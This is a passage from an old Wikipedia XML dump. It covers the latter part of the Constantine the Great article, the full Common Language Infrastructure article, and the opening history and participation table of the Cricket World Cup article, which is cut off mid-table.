Constantine is perhaps best known for being the first [[Roman Emperor]] to freely allow  [[Christianity]]. [[Christian]] historians ever since Lactantius have adhered to the view that Constantine &quot;adopted&quot; [[Christianity]] as a kind of replacement for the official Roman [[paganism]]. Despite the questions surrounding Constantine's Christianity, he is celebrated as a major [[Saint]] of [[Eastern Orthodoxy]]. Though he was not baptized until he was on his deathbed, his conversion, according to official Christian sources, was the immediate result of an omen before his victory in the [[Battle of Milvian Bridge]], on [[October 28]], [[312]].  Upon seeing this vision, Constantine is said to have instituted a new [[flag|standard]] to be carried into battle called the [[labarum]] (☧). This vision seen by Constantine was made up of two events. Firstly, while marching with his soldiers he saw the shape of an ambigram cross with the words &quot;[[In hoc signo vinces|in this sign you will conquer]]&quot; in front of the sun. After seeing that he had a dream instructing him to put a new sign (☧) as the standard. It is said that after this event Constantine was immediately converted to [[Christianity]]. 

Constantine and [[Licinius]]' [[Edict of Milan]] (313) removed penalties for professing Christianity, under which many were martyred in previous [[Persecution of Christians|persecutions of Christians]], and returned confiscated [[Church]] property.

After the Edict, new avenues were opened to Christians, including the right to compete with pagan Romans in the traditional ''[[cursus honorum]]'' for high government positions, and greater acceptance into general civil society.  New churches were allowed to be constructed and Christian leadership became increasingly bold &amp;mdash; Christian [[bishop|bishops]] took aggressive public stances that were unheard of among other religions.  

As a result, [[Church]]  controversies, which had been lively within the Christian communities since the mid-2nd century, now flared in public [[schism|schisms]], often with violence. Constantine saw quelling religious disorder as the divinely-appointed emperor's duty and eventually called the [[First Council of Nicaea]] ([[May 20]] - [[July 25]], [[325]]) to settle some of the doctrinal problems plaguing the early church, notably [[Arianism]].

===Persian reaction===
Beyond the ''[[limes|limites]],'' east of the [[Euphrates]], the [[Sassanid]] rulers of the [[Persian Empire]] had usually tolerated their Christians.  With the edicts of toleration in the Roman Empire, Christians in Persia would now be regarded as allies of Persia's ancient enemy, and were thus persecuted. A letter supposedly from Constantine to [[Shapur II of Persia]] and alleged to have been written in c. 324 urged Shapur to protect the Christians in his realm.   Shapur II wrote to his generals:

:You will arrest Simon, chief of the Christians. You will keep him till he signs this document and consents to collect for us a double tax and double tribute from the Christians … for we Gods have all the trials of war and they have nothing but repose and pleasure. They inhabit our territory and agree with Caesar, our enemy. (quoted in Freya Stark, ''Rome on the Euphrates'' 1967, p. 375)

==Constantine's life and actions after the Edict of Milan==
Coins struck for emperors often reveal details of their personal [[iconography]]. During the early part of Constantine's rule, representations first of [[Mars (god)|Mars]] and then (from 310) of [[Apollo]] as [[Solar deity|Sun god]] consistently appear on the reverse of the coinage. Mars had been associated with the [[Tetrarchy]], and Constantine's use of this symbolism served to emphasize the legitimacy of his rule. After his breach with his father's old colleague [[Maximian]] in 309&amp;ndash;310, Constantine began to claim legitimate descent from the 3rd century emperor [[Claudius II|Marcus Aurelius Claudius Gothicus]], the hero of the [[Battle of Naissus]] (September, 268). The ''[[Augustan History]]'' of the 4th century reports Constantine's paternal grandmother Claudia to be a daughter of Crispus, Crispus being a reported brother of both Claudius II and [[Quintillus]]. Historians however suspect this account to be a [[genealogical]] [[fabrication]] to flatter Constantine.

[[Image:Follis-Constantine-lyons RIC VI 309.jpg|thumb|300px|Coin of Constantine, with depiction of the sun god [[Sol Invictus]], holding a [[globe]] and right hand raised. Legend &quot;&lt;small&gt;SOLI INVICTO COMITI&lt;/small&gt;&quot;.]]

[[Image:As-Constantine-XR RIC vII 019.jpg|thumb|left|300px|[[Follis]] by Constantine. On the reverse, a [[labarum]] with the [[chi-rho]].]]

Gothicus had claimed the divine protection of [[Apollo]]-[[Sol Invictus]]. In mid-310, two years before the victory at the [[Battle of Milvian Bridge|Milvian Bridge]], Constantine reportedly experienced the publicly announced vision in which Apollo-Sol Invictus appeared to him with omens of success. Thereafter the reverses of his coinage were dominated for several years by his &quot;companion, the unconquered Sol&quot; — the inscriptions read &lt;small&gt;SOLI INVICTO COMITI&lt;/small&gt;. The depiction represents Apollo with a solar halo, [[Helios]]-like, and the globe in his hands. In the 320s Constantine has a halo of his own. There are also coins depicting [[Apollo]] driving the chariot of the Sun on a shield Constantine is holding and another in 312 shows the Christian ''[[chi-rho]]'' on a helmet Constantine is wearing.

Constantine was also known for being ruthless with his political enemies: Upon Licinius' surrender in 324, Constantine had publicly promised to spare his life, but a year later he accused him of plotting against him and had him executed by strangulation. In 326, Constantine had his eldest son [[Crispus]] tried and executed, as he believed accusations that Crispus had an affair with [[Fausta]], Constantine's second wife. A few months later he also had Fausta killed as the appearent source of these false accusations.
 
Family influence is thought to account for a personal adoption of [[Christianity]]: [[Helena of Constantinople|Helena]] is said to be &quot;probably born a Christian&quot; though virtually nothing is known of her background, save that her mother was the daughter of an innkeeper and her father a successful soldier, a career that excluded overt Christians. Helena became known later in life for numerous [[pilgrimage]]s.

[[Image:Solidus multiple-Constantine-thessalonica RIC vII 163v.jpg|thumb|300px|''Staring eyes'' on later Constantine coinage.]]

Constantine, following a widespread custom, was not [[baptism|baptized]] until close to his death in 337, when his choice fell upon the Arian bishop [[Eusebius of Nicomedia]], who happened, despite his being an ally of [[Arius]], to still be the [[bishop]] of the region. Also, Eusebius was a close friend of Constantine's sister; she probably secured his recall from exile.

The great staring eyes in the iconography of Constantine, though not specifically Christian, show how official images were moving away from early imperial conventions of realistic portrayal towards schematic representations: the [[Emperor]] ''as'' Emperor, not merely as this particular individual Constantine, with his characteristic broad jaw and cleft chin. The large staring eyes will loom larger as the 4th century progresses: compare the early 5th century silver coinage of [[Theodosius I]].

==Later life==
His victory in [[312]] over [[Maxentius]] at the [[Battle of Milvian Bridge]] resulted in his becoming Western Augustus, or ruler of the entire [[Western Roman Empire]]. He gradually consolidated his military superiority over his rivals in the crumbling [[Tetrarchy]].

In the year 320, [[Licinius]], emperor of the [[Eastern Roman Empire]], reneged on the religious freedom promised by the [[Edict of Milan]] in 313 and began another [[persecution]] of the Christians. This was a puzzling inconsistency since [[Constantia]], half-sister of Constantine and wife of Licinius, was an influential Christian. It became a challenge to Constantine in the west, climaxing in the great [[civil war]] of 324. The armies were so large another like these would not be seen again until at least the 14th century. Licinius, aided by [[Goths|Goth]] [[Mercenary|mercenaries]], represented the past and the ancient faith of [[Paganism]]. Constantine and his [[Franks]] marched under the Christian standard of the ''[[labarum]]'', and both sides saw the battle in religious terms. Supposedly outnumbered, but fired by their zeal, Constantine's army emerged victorious. With the defeat and murder of Licinius, Constantine then became the sole emperor of the entire [[Roman Empire]]. ''(MacMullen 1969)''

[[Image:Byzantinischer Mosaizist um 1000 002.jpg|thumb|225px|'''Constantine the Great'''&lt;br&gt; (mosaic in [[Hagia Sophia]], [[Constantinople]], c. 1000)]]

This battle represented the passing of old Rome, and the beginnings of the [[Byzantine Empire|Eastern Empire]] as a center of learning, prosperity, and cultural preservation. Constantine rebuilt the city of [[Byzantium]] which was said to have been founded by [[colonists]] from the Greek city of [[Megara]] under [[Byzas]] in [[667 BC]]. He renamed the city ''Nova Roma'' ([[New Rome]]), providing it with a [[Byzantine Senate|Senate]] and civic offices similar to the older [[Rome]], and the new city was protected by the alleged [[True Cross]], the Rod of [[Moses]] and other holy [[relic]]s. The figures of old gods were replaced and often assimilated into [[Christian symbolism]]. On the site of a temple to [[Aphrodite]] was built the new [[Basilica of the Apostles]]. Generations later there was the story that a [[Vision (religion)|Divine vision]] lead Constantine to this spot, and an [[angel]] no one else could see, led him on a circuit of the new walls. After his death it was renamed Constantinopolis (or [[Constantinople]], &quot;Constantine's City&quot;), and gradually became the capital of the [[empire]]. ''(MacMullen 1969)''

Constantine also passed laws making the occupations of [[butcher]] and [[baker]] hereditary, and more importantly, supported converting the ''coloni'' ([[tenant farmer]]s) into [[serfs]] &amp;mdash; laying the foundation for [[Europe|European]] [[society]] during the [[Middle Ages]]. 

In his later life he even turned to [[preaching]], giving his own sermons in the [[palace]] before his court and invited crowds. His sermons preached harmony at first, but gradually turned more confrontational with the old pagan ways. The reason for this later &quot;change of heart&quot; remains conjectural. However, pagans still received appointments, even up to the end of his life. Exerting his absolute power, the [[army]] recited his composed Latin prayer in an attempt to convert them to Christianity, which failed. He began a large building program of [[churches]] in the [[Holy Land]], which while greatly expanding the faith also allowed considerable increase in the power and wealth of the [[clergy]].

==Constantine's legal standards==
Constantine's laws in many ways improved those of his predecessors, though they also reflect his more violent age. Some examples:
*For the first time, girls could not be abducted.
*A punishment of death was mandated to anyone collecting taxes over the authorized amount. 
*A prisoner was no longer to be kept in total darkness, but must be given the outdoors and daylight. 
*A condemned man was allowed to die in the arena, but he could not be branded on his &quot;heavenly beautified&quot; face, just on the feet. 
*Parents caught allowing their daughters to be seduced were to have molten [[lead]] poured down their throats. 
*[[Gladiator|Gladiatorial games]] were ordered to be eliminated in 325, although this had little real effect. 
*A slave master's rights were limited, but a slave could still be beaten to death. 
*[[Crucifixion]] was abolished for reasons of Christian piety, but was replaced with hanging,  to show there was Roman law and justice.
*[[Easter]] could be publicly celebrated.
*Sunday was declared a day of rest, on which markets were banned and public offices were closed (except for the purpose of freeing slaves). There were however no restrictions on farming work.
''(MacMullen 1969, New Catholic Encyclopedia 1908)''

==Constantine's courts and appointees==
Constantine respected [[cultivation]] and [[Christianity]], and his court was composed of older, respected, and honored men.  Leading Roman families that refused Christianity were denied positions of power, yet two-thirds of his top government was non-Christian. 
''(MacMullen 1969,1984, New Catholic Encyclopedia 1908)''

&quot;From [[Paganism|Pagan]] temples Constantine had his statue removed. The repair of Pagan temples that had decayed was forbidden. These funds were given to the favored Christian [[clergy]]. Offensive forms of worship, either Christian or Pagan, were suppressed. At the dedication of Constantinople in 330 a ceremony half Pagan and half Christian was performed, in the market place, the Cross of [[Jesus|Christ]] was placed over the head of the Sun-God's chariot. There was a singing of hymns.&quot; (''New Catholic Encyclopedia'' 1908)

==Constantine's legacy==
Although he earned his honorific of &quot;The Great&quot; from Christian historians long after he had died, he could have claimed the title on his military achievements and victories alone. In addition to reuniting the empire under one emperor, Constantine won major victories over the [[Franks]] and [[Alamanni]] (306&amp;ndash;308), the Franks again (313&amp;ndash;314), the [[Visigoths]] in 332 and the [[Sarmatians]] in 334. In fact, by 336, Constantine had actually reoccupied most of the long-lost province of [[Dacia]], which [[Aurelian]] had been forced to abandon in 271. At the time of his death, he was planning a great expedition to put an end to raids on the eastern provinces from the [[Persian Empire]].

He was succeeded by his three sons by Fausta, [[Constantine II of the Roman Empire|Constantine II]], [[Constantius II]], and [[Constans]]. A number of relatives were murdered by followers of Constantius. He also had two daughters, [[Constantina]] and Helena, wife of [[Julian the Apostate|Emperor Julian]].

===Legend and Donation of Constantine===
In later years, historical facts were clouded by legend. It was considered inappropriate that Constantine was baptized only on his death-bed and by a bishop of questionable orthodoxy, and hence a legend emerged that [[Pope Silvester I]] (314-335) had cured the pagan Emperor from [[leprosy]]. According to this legend, Constantine was baptized after that and donated buildings to the [[Pope]]. In the 8th century, a document called the &quot;[[Donation of Constantine]]&quot; first appeared, in which the freshly converted Constantine hands the temporal rule over [[Rome]], [[Italy]] and the [[Occident]] to the Pope. In the [[High Middle Ages]], this document was used to and accepted as the basis for the Pope's [[temporal power]], though it was denounced as a forgery by Emperor [[Otto III, Holy Roman Emperor|Otto III]] and lamented as the root of papal worldliness by the poet [[Dante Alighieri]]. In the 15th century renewed philological expertise proved the document a forgery.

===Constantine in Geoffrey of Monmouth's ''Historia''===
Because of his fame and his being proclaimed Emperor in [[Britain]], Constantine was later also considered a British King. In the 11th century, the [[English (people)|English]] writer [[Geoffrey of Monmouth]] published a fictional work called ''[[Historia Regum Britanniae]]'', in which he narrates the supposed history of the Britons and their kings from the [[Trojan War]] to [[King Arthur]] and the [[Anglo-Saxons|Anglo-Saxon conquest]]. In this work, Geoffrey claimed that Constantine's mother Helena was actually the daughter of &quot;[[Old King Cole|King Cole]]&quot;, the mythical King of the [[Britons]] and eponymous founder of [[Colchester]]. A daughter for [[King Cole]] had not previously figured in the lore, at least not as it has survived in writing, and this pedigree is likely to reflect Geoffrey's desire to create a continuous line of regal descent. It was indecorous, Geoffrey considered, that a king might have less-than-noble ancestors. Monmouth also said that Constantine was proclaimed &quot;[[Kings of the Britons|King of the Britons]]&quot; at York, rather than [[Roman Emperor]].

==Notes==
1- In the [[English language]], Constantine's official Imperial title is ''Imperator Caesar Flavius Constantine Augustus, the pious, the fortunate, the undefeated''. After 312, he added ''maximus'' (&quot;the greatest&quot;), and after 325 replaced ''invictus'' (&quot;undefeated&quot;) with ''victor'', as ''invictus'' reminded of [[Sol Invictus]], the Sun God.

==See also==
*[[Ammianus Marcellinus]]
*[[Arch of Constantine]], [[triumphal arch]] to the victory at [[Battle of Milvian Bridge|Milvian Bridge]].
*[[Constantinian shift]]
*[[Donation of Constantine]]
*[[Donatist]]

==External links==
{{Commons|Constantine I (emperor)}}
*[http://www.geocities.com/Heartland/Valley/8920/European/edictofmilan.htm ''The Edict of Milan AD 313'']
*Letters of Constantine: [http://www.seanmultimedia.com/Pie_Constantine_The_Great_Letters_1.html Book 1], [http://www.seanmultimedia.com/Pie_Constantine_The_Great_Letters_2.html Book 2], &amp; [http://www.seanmultimedia.com/Pie_Constantine_The_Great_Letters_3.html Book 3]
*[http://www.roman-emperors.org/conniei.htm RomanEmperors.org ''Vita'' of Constantine]; with bibliography
*[http://odur.let.rug.nl/~drijvers/ammianus/ Ammianus Marcellinus on-line project]
*[http://www.anders.com/lectures/lars_brownworth/12_byzantine_rulers/ 12 Byzantine Rulers] by Lars Brownworth of [[Stony Brook School]] (grades 7-12). 40 minute audio lecture on Constantine.

==References and further reading ==
*[[Ancient History]]
* Chuvin, Pierre, B. A. Archer, translator, ''A Chronicle of the Last Pagans'', Harvard, 1990. ISBN 0-674-12970-9
*[[Eric Robertson Dodds|Dodds, Eric Robertson]], ''The Greeks and the Irrational'', University of California, 1964.
*Dodds, Eric Robertson, ''Pagan and Christian in an Age of Anxiety: Some Aspects of the Religious Experience from Marcus Aurelius to Constantine'', Cambridge, 1965.
*Jones, A.H.M., ''Constantine and the Conversion of Europe'', Macmillan, 1949.

The Association of Ancient Historians has honored Ramsay MacMullen as being the finest ancient historian of the Roman Empire in our time. Some may find him difficult, he speaks the language of the professional scholar, but reading his works is certainly worth the time and effort.
*MacMullen, Ramsay, ''Constantine'',  [[Dial Press]], 1969.
*MacMullen, Ramsay, ''Christianizing the Roman Empire A.D. 100-400'', Yale, 1984.
*MacMullen, Ramsay, ''Changes in the Roman Empire: Essays in the Ordinary'', Princeton, 1990.
*MacMullen, Ramsay, ''Enemies of the Roman Order: Treason, Unrest, and Alienation'', Harvard, 1966.

*Wilken, Robert L., ''Christians As the Romans Saw Them'', Yale, 1984
*[[Eusebius of Caesarea]], ''The Life of the blessed Emperor Constantine'' in four books from 306 to 337. 
*[http://www.1911encyclopedia.org ''Encyclopaedia Britannica'' 1911:] Constantine 
*[[Lactantius]], (240-320) ''Of the Manner the in Which the Persecutors Died'', 
*[http://www.newadvent.org/cathen/04295c.htm &quot;Constantine the Great&quot;], by [[Charles George Herbermann|Charles G. Herbermann]] and Georg Grupp.  ''The Catholic Encyclopedia'' (1908)
*[http://www.newadvent.org/cathen/05121a.htm  &quot;Donatists&quot;], by John Chapman. ''The Catholic Encyclopedia'' (1909)
*Sources on the Antonine Plague
**[[Galen]], ''On the Natural Faculties'' 
**[[Marcus Cornelius Fronto]],  ''Letters of Marcus Cornelius Fronto'' 
*Vlassis R. Rassias, ''Es Edafos Ferein'', 2nd edition, Athens, 2000, ISBN 960-7748-20-4

{{s-start}}
{{s-bef|rows=2|before=[[Constantius Chlorus|Constantius I]]}}
{{s-ttl|title=[[Roman Emperor]]|years=306&amp;ndash;337|regent1=[[Galerius]], [[Licinius]] and [[Maximinus|Maximinus Daia]]}}
{{s-aft|after=[[Constantius II]],&lt;br/&gt;[[Constantine II (emperor)|Constantine II]]&lt;br/&gt;and [[Constans]]}}
{{s-ttl|title=[[King of the Britons|Mythical British Kings]]|years= }}
{{s-aft|after=[[Octavius]]}}
{{end}}

[[Category:272 births]]
[[Category:337 deaths]]
[[Category:Ancient Roman Christianity]]
[[Category:British traditional history]]
[[Category:Byzantine Empire]]
[[Category:Byzantine people]]
[[Category:Constantine Dynasty]]
[[Category:Greek people]]
[[Category:Late Antiquity]]
[[Category:Roman emperors]]
[[Category:Romans in Britain]]

{{Link FA|el}}
{{Link FA|fi}}

[[bg:&amp;#1050;&amp;#1086;&amp;#1085;&amp;#1089;&amp;#1090;&amp;#1072;&amp;#1085;&amp;#1090;&amp;#1080;&amp;#1085; I &amp;#1042;&amp;#1077;&amp;#1083;&amp;#1080;&amp;#1082;&amp;#1080;]]
[[cs:Constantinus I.]]
[[da:Konstantin den Store]]
[[de:Konstantin I. (Rom)]]
[[el:&amp;#922;&amp;#969;&amp;#957;&amp;#963;&amp;#964;&amp;#945;&amp;#957;&amp;#964;&amp;#943;&amp;#957;&amp;#959;&amp;#962; &amp;#913;' &amp;#959; &amp;#924;&amp;#941;&amp;#947;&amp;#945;&amp;#962;]]
[[eo:Konstantino la 1-a de la Romia Imperio]]
[[es:Constantino I el Grande]]
[[et:Constantinus Suur]]
[[fr:Constantin Ier (empereur romain)]]
[[gl:Constantino I o Grande]]
[[ko:콘스탄티누스 1세]]
[[he:&amp;#1511;&amp;#1493;&amp;#1504;&amp;#1505;&amp;#1496;&amp;#1504;&amp;#1496;&amp;#1497;&amp;#1504;&amp;#1493;&amp;#1505;]]
[[it:Costantino I]]
[[kw:Kostentin I a Rom]]
[[la:Constantinus I]]
[[ja:コンスタンティヌス1世]]
[[nl:Constantijn de Grote]]
[[no:Konstantin den store]]
[[pl:Konstantyn I Wielki]]
[[pt:Constantino I]]
[[ro:Constantin cel Mare]]
[[ru:Константин I Великий]]
[[sr:Константин Велики]]
[[fi:Konstantinus Suuri]]
[[sv:Konstantin den store]]
[[zh:君士坦丁一世 (罗马帝国)]]</text>
    </revision>
  </page>
  <page>
    <title>Common Language Infrastructure</title>
    <id>7237</id>
    <revision>
      <id>41918879</id>
      <timestamp>2006-03-02T16:47:30Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">The '''Common Language Infrastructure (CLI)''' is an open [[specification]] developed by [[Microsoft]] that describes the executable code and runtime environment that form the core of the '''[[.NET Framework|Microsoft .NET Framework]]'''. The specification defines an environment that allows multiple high-level languages to be used on different computer platforms without being rewritten for specific architectures.

To clarify, the CLI is a ''specification,'' not an ''implementation,'' and is often confused with the '''[[Common Language Runtime]] (CLR)''', which contains aspects outside the scope of the specification.

The CLI specification is divided into four aspects:

* '''The Common Type System (CTS)''' &amp;mdash; A set of [[Datatype|types]] and operations that are shared by many [[programming language]]s.
* '''Metadata''' &amp;mdash; Information about program structure is language-agnostic, so that it can be referenced between languages and tools, making it easy to work with code written in a language you are not using.
* '''Common Language Specification (CLS)''' &amp;mdash; A set of base rules which any language targeting the CLI should conform to in order to interoperate with other CLS-compliant languages.
* '''Virtual Execution System (VES)''' &amp;mdash; The VES loads and executes CLI-compatible programs, using the metadata to combine separately generated pieces of code at runtime.

All compatible languages compile to '''[[Common Intermediate Language]] (CIL)''', which is an '''[[intermediate language]]''' that is abstracted from the platform hardware.  When the code is executed, the platform-specific VES will compile the CIL to the [[machine language]] according to the specific hardware. 

==Standardization and Licensing==
In August 2000, Microsoft, [[Hewlett-Packard]], [[Intel]], and others worked to standardize CLI.  By December 2001, it was ratified by the [[Ecma International|ECMA]], with [[International Organization for Standardization|ISO]] standardization following in April of 2003.

While Microsoft and their partners hold patents for CLI, ECMA and ISO requires that all patents essential to implementation be made available under &quot;[[Reasonable and Non Discriminatory Licensing|reasonable and non-discriminatory (RAND) terms]].&quot; The companies have agreed, instead, to make the patents available under &quot;royalty-free and otherwise RAND&quot; terms.

==Implementations==
* '''[[.NET Framework|Microsoft .NET Framework]]''' contains Microsoft's commercial implementation of the CLI for desktop systems, but also encompassing a larger collection of resources, libraries, and tools.

* '''[[Shared Source Common Language Infrastructure]]''' is a reference implementation of the CLI available from Microsoft, under the [[Shared source]] licensing program. 

* '''[[.NET Compact Framework]]''' is Microsoft's commercial implementation of the CLI for portable devices.

* '''[[Mono development platform]]''' is a popular [[open source]] implementation of CLI and accompanying technologies, sponsored by [[Novell]].

* '''[[Portable.NET]]''', part of the [[dotGNU]] project, is another open-source implementation.

==External links and references==
===External links===
* [http://csharpcomputing.com/Tutorials/TOC.htm Tutorial including MSIL by Aleksey Nudelman]

===References===
* {{cite web
 | title = Standard ECMA-335, Common Language Infrastructure (CLI)
 | work = ECMA International
 | url = http://www.ecma-international.org/publications/standards/Ecma-335.htm
 | accessdate = Aug. 31
 | accessyear = 2005
 }}
* {{cite web
 | title = ISO/IEC 23271, Common Language Infrastructure
 | work = ISO
 | url = http://www.iso.org/iso/en/CatalogueDetailPage.CatalogueDetail?CSNUMBER=36769&amp;ICS1=35&amp;ICS2=60&amp;ICS3= 
 | accessdate = Aug. 31
 | accessyear = 2005
 }}

[[Category:.NET framework]]

[[de:Common Language Infrastructure]]
[[hu:Common Language Infrastructure]]
[[it:Common Language Infrastructure]]
[[pl:Common Language Infrastructure]]</text>
    </revision>
  </page>
  <page>
    <title>Cricket World Cup</title>
    <id>7239</id>
    <revision>
      <id>41229977</id>
      <timestamp>2006-02-25T23:04:04Z</timestamp>
      <contributor>
        <username>Mdmanser</username>
        <id>270941</id>
      </contributor>
      <comment>tidied and moved statistics on participation table</comment>
      <text xml:space="preserve">[[image:Cwc.gif|right|frame|Cricket World Cup 2007 logo]]
The [[International Cricket Council|ICC]] '''Cricket World Cup''' is the world championship of [[one-day cricket]], a tournament held quadrenially between all [[Test cricket|Test]]-playing nations, as well as several representatives from other [[cricket]]-playing nations who qualify through a series of qualifying matches. The next tournament will be held in the [[West Indies]] in [[2007]].

==History==
The Cricket World Cup was first held in 1975 in [[England]], with eight teams participating: [[Australian cricket team|Australia]], [[English cricket team|England]], the [[West Indian cricket team|West Indies]], [[Pakistani cricket team|Pakistan]], [[Indian cricket team|India]], and [[New Zealand cricket team|New Zealand]] (the six Test nations at the time), with [[Sri Lankan cricket team|Sri Lanka]] and a composite team from [[East African cricket team|East Africa]]).

The first three tournaments were held in England. N. K. P. Salve, President of the [[Board of Control for Cricket in India|Indian Cricket Board]] recounts the awarding of hosting rights for the [[1987]] World Cup in his book ''The Story of the Reliance Cup''. According to Salve, he was given two tickets for the [[1983]] World Cup final at [[Lord's Cricket Ground|Lord's]]. When India unexpectedly qualified for the final, he requested two additional tickets from the [[Marylebone Cricket Club|MCC]] for friends who had just arrived from India. The MCC refused his request. Following this rebuff, Salve campaigned heavily amongst associate members of the [[International Cricket Council]] to form a bloc of voters, who ultimately awarded the hosting of the 1987 World Cup jointly to India and Pakistan.

Since 1987, the hosting of the World Cup been shared by the major cricket playing regions of the world - [[England]], the [[Indian subcontinent]], [[Australasia]], [[Southern Africa]] and the [[West Indies]]. The tournaments have been based mainly in the local superpowers, though matches are held in all regional cricketing nations.

The World Cup is held in high esteem amongst fans, players, and administrators, unlike many of the myriad of one-day tournaments held around the world each year. It has been the scene of some of the major developments in the way one-day cricket is played.

==Début of National Teams==
*1975 - [[Image:Flag of Australia.svg|20px]] [[Australian cricket team|Australia]] [[Image:East_African_Cricket_Council.gif|20px]] [[East African cricket team|East Africa]]&lt;sup&gt;([[#1|1]])&lt;/sup&gt; [[Image:Flag_of_England.svg|20px]] [[English cricket team|England]] [[Image:India_flag_large.png|20px]] [[Indian cricket team|India]] [[Image:New zealand_flag_large.png|20px]] [[New Zealand cricket team|New Zealand]] [[Image:Pakistan_flag_large.png|20px]] [[Pakistani cricket team|Pakistan]] [[Image:Sri_lanka_flag_large.png|20px]] [[Sri Lankan cricket team|Sri Lanka]] [[Image:West_Indies_Cricket_Board_Flag.png|20px]] [[West Indian cricket team|West Indies]]
*1979 - [[Image:Flag_of_Canada.svg|20px]] [[Canadian cricket team|Canada]]
*1983 - [[Image:Zimbabwe_flag_large.png|20px]] [[Zimbabwean cricket team|Zimbabwe]]
*1992 - [[Image:Flag of South Africa.svg|20px]] [[South African cricket team|South Africa]]
*1996 - [[Image:Kenya_flag_large.png|20px]] [[Kenyan cricket team|Kenya]] [[Image:Flag of the Netherlands.svg|20px]] [[Netherlands cricket team|Netherlands]] [[Image:Flag_of_the_United_Arab_Emirates.svg|20px]] [[United Arab Emirates cricket team|United Arab Emirates]]
*1999 - [[Image:Flag of Bangladesh.svg|20px]] [[Bangladeshi cricket team|Bangladesh]] [[Image:Flag_of_Scotland.svg|20px]] [[Scottish cricket team|Scotland]]
*2003 - [[Image:Namibia_flag_large.png|20px]] [[Namibian cricket team|Namibia]]
*2007 - [[Image:Bermuda_flag_large.png|20px]] [[Bermudian cricket team|Bermuda]] [[Image:Flag_of_Ireland.svg|20px]] [[Irish cricket team|Ireland]]
&lt;div id=&quot;1&quot;&gt;&lt;sup&gt;'''1'''&lt;/sup&gt; The East African team no longer exists, but at the time represented the countries of Kenya, Tanzania, Uganda and Zambia.

==Teams' Participations==
Includes appearances in the upcoming 2007 World Cup.

{| style=border-collapse:collapse border=1 cellspacing=0 cellpadding=5
|- align=center bgcolor=#efefef
!rowspan=2 width=100|Team
!rowspan=2 width=40|Appearances
!rowspan=2 width=50|Record streak
!rowspan=2 width=60|First appearance
!rowspan=2 width=60|Latest appearance
!rowspan=2 width=280|Best result
!colspan=5|Statistics
|- bgcolor=#EFEFEF 
!width=30|Played
!width=30|Won
!width=30|Lost
!width=30|Tie
!width=30|NR
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Flag of Australia.svg|20px]] [[Australian cricket team|Australia]]
|9||9||1975||2007||Champions (1987, 1999, 2003)||58||40||17||1||0
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:West_Indies_Cricket_Board_Flag.png|20px]] [[West Indian cricket team|West Indies]]
|9||9||1975||2007||Champions (1975, 1979)||48||31||16||0||1
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:India_flag_large.png|20px]] [[Indian cricket team|India]]
|9||9||1975||2007||Champions (1983)||55||31||23||0||1
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Pakistan_flag_large.png|20px]] [[Pakistani cricket team|Pakistan]]
|9||9||1975||2007||Champions (1992)||53||29||22||0||2
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Sri_lanka_flag_large.png|20px]] [[Sri Lankan cricket team|Sri Lanka]]
|9||9||1975||2007||Champions (1996)||46||17||27||1||1
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Flag_of_England.svg|20px]] [[English cricket team|England]]
|9||9||1975||2007||Runners-up (1979, 1987, 1992)||50||31||18||0||1
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:New zealand_flag_large.png|20px]] [[New Zealand cricket team|New Zealand]]
|9||9||1975||2007||Semifinals (1975, 1979, 1992, 1999)||52||28||23||0||1
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Zimbabwe_flag_large.png|20px]] [[Zimbabwean cricket team|Zimbabwe]]
|7||7||1983||2007||Super Six (1999, 2003)||42||8||31||0||3
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Flag of South Africa.svg|20px]] [[South African cricket team|South Africa]]
|5||5||1992||2007||Semifinals (1992, 1999)||30||19||9||2||0
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Kenya_flag_large.png|20px]] [[Kenyan cricket team|Kenya]]
|4||4||1996||2007||Semifinals (2003)||20||5||14||0||1
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Flag of Bangladesh.svg|20px]] [[Bangladeshi cricket team|Bangladesh]]
|3||3||1999||2007||Round 1||11||2||8||0||1
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Flag_of_Canada.svg|20px]] [[Canadian cricket team|Canada]]
|3||2||1979||2007||Round 1||9||1||8||0||0
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Flag of the Netherlands.svg|20px]] [[Netherlands cricket team|Netherlands]]
|3||2||1996||2007||Round 1||11||1||10||0||0
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Flag_of_Scotland.svg|20px]] [[Scottish cricket team|Scotland]]
|2||1||1999||2007||Round 1||5||0||5||0||0
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Bermuda_flag_large.png|20px]] [[Bermudian cricket team|Bermuda]]
|1||1||2007||2007||-||0||0||0||0||0
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Flag_of_Ireland.svg|20px]] [[Irish cricket team|Ireland]]
|1||1||2007||2007||-||0||0||0||0||0
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Namibia_flag_large.png|20px]] [[Namibian cricket team|Namibia]]
|1||1||2003||2003||Round 1||6||0||6||0||0
|- align=center style=&quot;background:#f5f5f5;&quot; 
|style=&quot;text-align:left;&quot;|[[Image:Flag_of_the_United_Arab_Emirates.svg|20px]] [[United Arab Emirates cricket team|United Arab Emirates]]
